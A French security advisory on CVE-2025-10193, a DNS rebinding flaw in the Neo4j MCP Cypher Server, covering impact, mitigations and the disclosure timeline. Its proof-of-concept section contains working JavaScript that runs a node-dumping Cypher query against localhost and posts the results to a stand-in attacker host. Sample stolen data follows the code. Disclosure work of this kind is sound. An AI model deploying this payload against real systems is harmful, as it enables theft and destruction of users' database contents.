Le Neo4j MCP Cypher Server est vulnérable à une prise de contrôle de la base de données via DNS rebinding
Auteur : Evan Harris
Composant concerné : Neo4j MCP Cypher Server
Versions vulnérables : 0.2.2 à 0.3.1
CVE : CVE-2025-10193
Score CVSS 4.0 : 7.4 (Élevé) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Vue d’ensemble
Le Neo4j MCP Cypher Server fournit un point de terminaison HTTP permettant d’exécuter des requêtes Cypher sur une base de données Neo4j.
MCPSec a découvert une vulnérabilité de DNS rebinding dans le serveur, qui permet à des attaquants distants de contourner les politiques de sécurité du navigateur et d’exécuter des requêtes Cypher arbitraires sur l’instance de base de données accessible via MCP.
Neo4j a corrigé ce problème dans la version v0.4.0. Tous les utilisateurs des versions concernées doivent effectuer la mise à jour immédiatement.
D’autres outils traités sur ce site présentent la même faille : Vulnérabilité de DNS rebinding dans le transport SSE du Vet MCP Server et Exfiltration et destruction de données dans MLflow par absence de validation de l’Origin (DNS rebinding).
Impact
Les attaquants obtiennent un accès POST complet au point de terminaison /api/mcp servi par le Neo4j MCP Cypher Server local.
Cela permet l’exécution non autorisée de n’importe quelle requête Cypher, conférant de fait à l’attaquant un contrôle administratif complet sur la base de données Neo4j. Cela peut entraîner :
- L’exfiltration complète d’informations sensibles stockées dans la base de données.
- La modification non autorisée des données ou leur corruption.
- La suppression de données et un déni de service.
L’attaque de DNS rebinding peut être exécutée en quelques secondes après qu’une victime a visité un site web malveillant, et nécessite uniquement que le serveur vulnérable soit exécuté localement.
Preuve de concept
Le scénario d’attaque suppose que :
- La victime exécute une version vulnérable du Neo4j MCP Cypher Server sur sa machine locale.
- La victime navigue vers un site web malveillant contrôlé par l’attaquant.
- Le site web exécute une attaque de DNS rebinding, amenant le navigateur de la victime à envoyer des commandes au serveur Neo4j.
Une fois le rebinding terminé, l’attaquant peut utiliser le navigateur de la victime pour envoyer des requêtes Cypher malveillantes au point de terminaison local /api/mcp. Les données peuvent ensuite être exfiltrées vers le serveur de l’attaquant, ou bien être manipulées et supprimées.
MCPSec a réalisé une attaque de preuve de concept en suivant les étapes ci-dessous :
-
Déployer une application de DNS rebinding (par exemple Singularity of Origin).
-
Construire une charge utile JavaScript servie par le site web malveillant afin d’exécuter une requête et d’exfiltrer les données.
const Neo4jRebind = () => {
// The core attack function. It sends a malicious Cypher query.
function attack(headers, cookie, body) {
const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
fetch('http://localhost:8000/api/mcp', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json, text/event-stream',
'Connection': 'keep-alive',
'Cache-Control': 'no-cache'
},
body: JSON.stringify({ query: maliciousQuery })
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
response.text().then(databaseContents => {
// Send the stolen database contents to the attacker's server
fetch(ATTACKER_SERVER, {
method: 'POST',
body: JSON.stringify(databaseContents)
});
}).catch(e => console.error('Failed to parse Neo4j response', e));
}).catch(e => console.error("Failed to post Cypher query", e));
}
// Function to check if the rebound service is the target Neo4j server
async function isService(headers, cookie, body) {
try {
const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
// A successful ping (even opaque) suggests the port is open.
return true;
} catch (e) {
return false;
}
}
return {
attack,
isService
}
}
Registry["Neo4jRebind"] = Neo4jRebind();
- Exécuter un serveur de collecte de données pour recevoir la requête POST contenant le contenu volé de la base de données.
Voici un exemple des données JSON exfiltrées de la base de données d’une victime, contenant des informations utilisateur potentiellement sensibles.
{
"results": [
{
"columns": ["n"],
"data": [
{
"row": [
{
"name": "Evan Harris",
"email": "evan.harris@example.com",
"role": "admin",
"password_hash": "sha256:abc123def456..."
}
],
"meta": [{...}]
},
{
"row": [
{
"project": "Project Titan",
"api_key": "neo-secret-key-xyz789",
"status": "active"
}
],
"meta": [{...}]
}
]
}
],
"errors": []
}
Mesures d’atténuation recommandées
Pour les utilisateurs (immédiat)
- Mettez immédiatement à jour vers
mcp-neo4j-cypherversion v0.4.0 ou ultérieure. Cette version contient le correctif qui valide l’en-tête HTTPHostafin de prévenir cette attaque. - Si vous ne pouvez pas effectuer la mise à jour, passez de HTTP à stdio. Vous pouvez aussi placer un filtre de requêtes réseau devant votre Neo4j Cypher MCP Server pour vous protéger contre les en-têtes host non valides.
Cette vulnérabilité a été signalée à l’équipe Neo4j dans le cadre de pratiques de divulgation responsable. L’équipe a réagi rapidement pour valider et corriger le problème.
Chronologie de la divulgation
- 2025-09-08 : Neo4j accuse réception du signalement.
- 2025-09-09 : Neo4j reconnaît le risque lié au vecteur d’attaque.
- 2025-09-09 : Des indications détaillées et des exemples de correction sont fournis à l’équipe Neo4j.
- 2025-09-09 : Neo4j ouvre une pull request comportant des mesures défensives.
- 2025-09-11 : La version corrigée v0.4.0 est publiée.
- 2025-09-11 : Le CVE-2025-10193 est attribué et le GitHub Security Advisory est publié.
- 2025-09-12 : La date de publication de l’avis technique est convenue.
- 2025-10-13 : Avis technique publié.
Conclusion
La vulnérabilité de DNS rebinding dans le Neo4j MCP Cypher Server met en évidence un risque de sécurité élevé pour les outils de développement qui exposent des interfaces locales de bases de données. Bien qu’ils offrent de puissantes fonctionnalités locales, ces services peuvent devenir une porte d’entrée pour des attaques basées sur le web s’ils ne sont pas correctement sécurisés. Cela peut conduire à la compromission complète de données sensibles.
Félicitations à l’équipe Neo4j pour sa réaction professionnelle et rapide dans la correction de cette vulnérabilité. Tous les utilisateurs du composant concerné doivent effectuer la mise à jour vers la dernière version afin de garantir la protection de leurs données.